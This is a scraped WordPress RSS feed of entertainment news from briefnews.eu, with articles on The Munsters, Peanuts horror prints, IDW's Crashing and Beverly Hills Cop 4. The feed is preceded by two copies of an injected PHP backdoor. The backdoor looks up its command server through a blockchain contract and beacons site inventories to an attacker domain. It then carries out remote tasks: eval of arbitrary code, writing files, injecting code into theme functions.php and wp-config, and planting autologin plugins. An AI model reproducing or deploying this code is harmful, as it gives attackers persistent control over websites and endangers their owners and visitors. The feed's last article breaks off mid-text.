// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Exclusive – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Tue, 27 Sep 2022 12:08:24 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Exclusive – Brief News https://briefnews.eu 32 32 How New The Munsters Actor Jeff Daniel Phillips Honors The Great Fred Gwynne [Exclusive] https://briefnews.eu/how-new-the-munsters-actor-jeff-daniel-phillips-honors-the-great-fred-gwynne-exclusive/ https://briefnews.eu/how-new-the-munsters-actor-jeff-daniel-phillips-honors-the-great-fred-gwynne-exclusive/#respond Tue, 27 Sep 2022 12:08:24 +0000 https://briefnews.eu/how-new-the-munsters-actor-jeff-daniel-phillips-honors-the-great-fred-gwynne-exclusive/

“The Munsters” is one of those old-school ’60s sitcoms that couch potatoes of a certain age watched and rewatched throughout their formative years. We absorbed these shows’ quirks and themes and catchphrases so completely that the merest of references can trigger a flood of childhood memories. They weren’t the acme of broadcast art, but they filled our afternoons with machine-manufactured laughs, and we loved them for it.

So when a studio goes chasing nostalgia bucks by transferring a popular TV show to the big screen, they’re best off playing it safe and emulating the vibe of the original. Barry Sonnenfeld’s “The Addams Family” movies did this to perfection, and were handsomely rewarded at the box office. On the other hand, Blumhouse’s “Fantasy Island” transformed the celebrities-of-the-week formula that made the ABC series a cheesy guilty pleasure into a charmless horror flick, and audiences loathed it.

Rob Zombie’s “The Munsters,” which premieres today on Netflix, appears to be a blend of new and old. Herman (Jeff Daniel Phillips), Lily (Sheri Moon Zombie), and Grandpa aka The Count (Daniel Roebuck) look very much like they did on television over 50 years ago, but instead of portraying them as a settled family unit, Zombie, who flashed his super-fan credentials back in 1998 by recording a song dedicated to Grandpa’s legendary hot rod, has opted to tell an origin story of sorts. For instance, we now know that Herman’s lumbering, reanimated body is powered by the brain of a stand-up comic. How did this impact the actors’ interpretations of these beloved roles?

Herman Munster, Teenager

In an interview with /Film’s B.J. Colangelo, Phillips explained that his Herman is quite unlike Fred Gwynne’s version of the character in that he’s come “right off the slab.” They just created the guy by Dr. Wolfgang,” said Phillips. “So he’s trying to figure it all out. His brain’s trying to get this whole body to move. I use this analogy, it’s like his brain’s used to driving a Ford Fiesta, and now he’s in a GTO, and he’s just trying to make it all work.”

In other words, Phillips’ Herman is a work-in-progress of sorts, not unlike a kid hitting puberty:

“He’s very cocky. He’s almost like a teenager. That’s how I approached it, and wide-eyed. Where Fred Gwynne was like, he had this charm and yeah, he was childlike too, but I was just trying to get somebody who was trying to find their voice. And that’s why his voice would crack and it was a little higher.”

While Phillips admits that he’s not an impressionist, long-time fans can take heart that he learned how to deliver Herman’s trademark laugh. Will he also throw tantrums like Gwynne’s big, bratty lug? We’ll find out soon enough!

Read this next: Horror Movies That Make Us Root For The Villain

The post How New The Munsters Actor Jeff Daniel Phillips Honors the Great Fred Gwynne [Exclusive] appeared first on /Film.

]]> https://briefnews.eu/how-new-the-munsters-actor-jeff-daniel-phillips-honors-the-great-fred-gwynne-exclusive/feed/ 0 Raid71 Debuts Four Hilarious Peanuts Halloween Horror Prints [Exclusive] https://briefnews.eu/raid71-debuts-four-hilarious-peanuts-halloween-horror-prints-exclusive/ https://briefnews.eu/raid71-debuts-four-hilarious-peanuts-halloween-horror-prints-exclusive/#respond Wed, 21 Sep 2022 20:23:57 +0000 https://briefnews.eu/raid71-debuts-four-hilarious-peanuts-halloween-horror-prints-exclusive/

Artist Chris Thornley (aka Raid71) has made it a spooky tradition to transform Charlie Brown’s “good grief” into a good scare with his previous parody prints that combine Charles Schultz’s beloved comic strip “Peanuts” with some of the most iconic horror movies of all time. Now Raid71 is back with four new terrifyingly funny takes on classic fright flicks with a “Peanuts”-twist, and /Film has the exclusive reveal.

The four 5″x5″ prints will be a timed edition set to run from Thursday, September 22, 2022 to Sunday, September 25 beginning at 1 p.m. EST. Sets of the four prints will be signed and numbered at approximately $ 29, and will be available to view on Raid71’s official site soon along with limited edition sticker sets of some of the characters as well as a glow-in-the-dark pin. To add more enticement, one of the original sketches will be randomly dropped in to four lucky orders. Our readers can even type “slashfilm” in the discount code box at checkout for a random postcard and sticker to be added to the order! Check out the full reveals of all four prints below.

Peanuts Halloween Horror Prints

When given the choice of trick or treat, Raid71 was kind enough to treat us to four descriptions of each Halloween Charlie Brown print.

Saw (2004)

“Charlie awakes ankle chained and a hacksaw is just in reach, he’s now a pawn in a deadly games by the infamous Jigsaw Killer. What will he do?”

“The Fly” (1986)

“Charlie is the eccentric scientist (one of the best pre-‘Jurassic Park’ Goldblum films) and steps into the telepod for the first time, unaware that a housefly will have unintended consequences.”

“Beetlejuice” (1988)

“Beetlejuice, Beetlejuice, Beetlejuice … (nothings happened). Fantasy, horror, or comedy: only the genius of Tim Burton can blend all three. Charlie takes on the role of the future Batman, Michael Keaton.”

“Child’s Play” (1988)

“Finally, it’s ‘Child’s Play’ Charlie Brown meeting a notorious serial killer who’s transferred his soul into this loveable cartoon character.”

All four of these pieces are, of course, delightful. Like all the best parody they find the perfect way to make something pure like “Peanuts” into its polar opposite, and that’s why we can’t wait to see what Raid71 has in store for us during next year’s spooky season. What could it be? Seeing his twist on “It’s the Great Pumpkinhead, Charlie Brown” would be pretty gnarly. 

Read this next: 14 Horror Movie Flops That Became Cult Classics

The post Raid71 Debuts Four Hilarious Peanuts Halloween Horror Prints [Exclusive] appeared first on /Film.

]]> https://briefnews.eu/raid71-debuts-four-hilarious-peanuts-halloween-horror-prints-exclusive/feed/ 0 IDW’s Crashing Is A Superhero Tale By Way Of A Medical Drama [Exclusive] https://briefnews.eu/idws-crashing-is-a-superhero-tale-by-way-of-a-medical-drama-exclusive/ https://briefnews.eu/idws-crashing-is-a-superhero-tale-by-way-of-a-medical-drama-exclusive/#respond Wed, 21 Sep 2022 16:09:30 +0000 https://briefnews.eu/idws-crashing-is-a-superhero-tale-by-way-of-a-medical-drama-exclusive/

Superheroes have been at the forefront of pop culture now for more than two decades, thanks to the success of movies like “X-Men” and “Spider-Man” in the early 2000s. But it can’t just be DC and Marvel’s A-listers like Batman and Captain America carrying this torch forever. More to the point, we could use more stories that bring us into the world of superheroes in a unique way. 

That’s where IDW’s new miniseries “Crashing,” which has just hit shelves, is worth putting on your radar — and we’ve got an exclusive look for you!

What we’ve got today is a unique look at Matthew Klein’s five-issue miniseries, which offers a window into the process that illustrator Morgan Beem, colorist Triona Farrell and lettererd Hassan Otsmane-Elhaou went through to get the book in our hands, in its finished form.

“Crashing” follows Rose Osler, a specialist whose focus is patients with Powers. She works at a hospital with a “No Powered Patients” policy. When a battle between Boston’s protectors and destroyers erupts, Rose is trapped between saving the city’s beloved hero by day and greatest villain at night. Except Rose could become a casualty when she’s forced to risk her recovery. This artwork gives us a glimpse at what her life is like in a hospital in a world filled with super powered individuals.

A Superhero Genre Mash-Up

Aside from the details of the plot, the book is being described as part superhero thriller, sort of on the grittier side of things like “The Boys,” by way of a medical drama, sort of like “Nurse Jackie.” So with a little more edge than something like “Grey’s Anatomy.” As someone who has read the first issue, I can confirm that description is accurate.

One thing I can say for sure is that those who enjoy superheroes via movies and TV shows but haven’t dug into the comics may have a tough time making that leap. It can be difficult and intimidating to look at decades and decades worth of stories, wondering where to begin.

What’s nice about something like “Crashing” is that it provides a fresh jumping on point. Not only that, but it’s going to be a miniseries, so it will have a beginning, middle, and end. And it could work well as a starting point for those looking to dive more into the medium of comics, given that they tend to inspire the biggest franchises in the world these days.

“Crashing” #1 is on shelves and available through digital comics retailers now.

Read this next: Disturbing Comic Book Moments The MCU Will Never Show You

The post IDW’s Crashing Is A Superhero Tale By Way Of A Medical Drama [Exclusive] appeared first on /Film.

]]> https://briefnews.eu/idws-crashing-is-a-superhero-tale-by-way-of-a-medical-drama-exclusive/feed/ 0 Paul Reiser Was Glad To See Eddie Murphy Aged Just A Little Bit While Reuniting For Beverly Hills Cop 4 [Exclusive] https://briefnews.eu/paul-reiser-was-glad-to-see-eddie-murphy-aged-just-a-little-bit-while-reuniting-for-beverly-hills-cop-4-exclusive/ https://briefnews.eu/paul-reiser-was-glad-to-see-eddie-murphy-aged-just-a-little-bit-while-reuniting-for-beverly-hills-cop-4-exclusive/#respond Wed, 21 Sep 2022 03:25:48 +0000 https://briefnews.eu/paul-reiser-was-glad-to-see-eddie-murphy-aged-just-a-little-bit-while-reuniting-for-beverly-hills-cop-4-exclusive/

We’re heading back to the ritziest part of Los Angeles in the upcoming film “Beverly Hills Cop: Axel Foley,” the long-awaited fourth entry in the “Beverly Hills Cop” franchise. The first one came out in 1984, starring Eddie Murphy as a police officer who heads to Beverly Hills to solve the murder of his best friend. It spawned two sequels; “Beverly Hills Cop II” in 1987 and “Beverly Hills Cop III” in 1994. 

Also starring in the film was Paul Reiser (“Stranger Things,” “Mad About You”), who played the character of Jeffrey. Though Reiser didn’t make it into the third film, he’ll be back for the fourth, along with Murphy, Joseph Gordon-Levitt, Taylour Paige, James Preston Rogers, and James Aviel. 

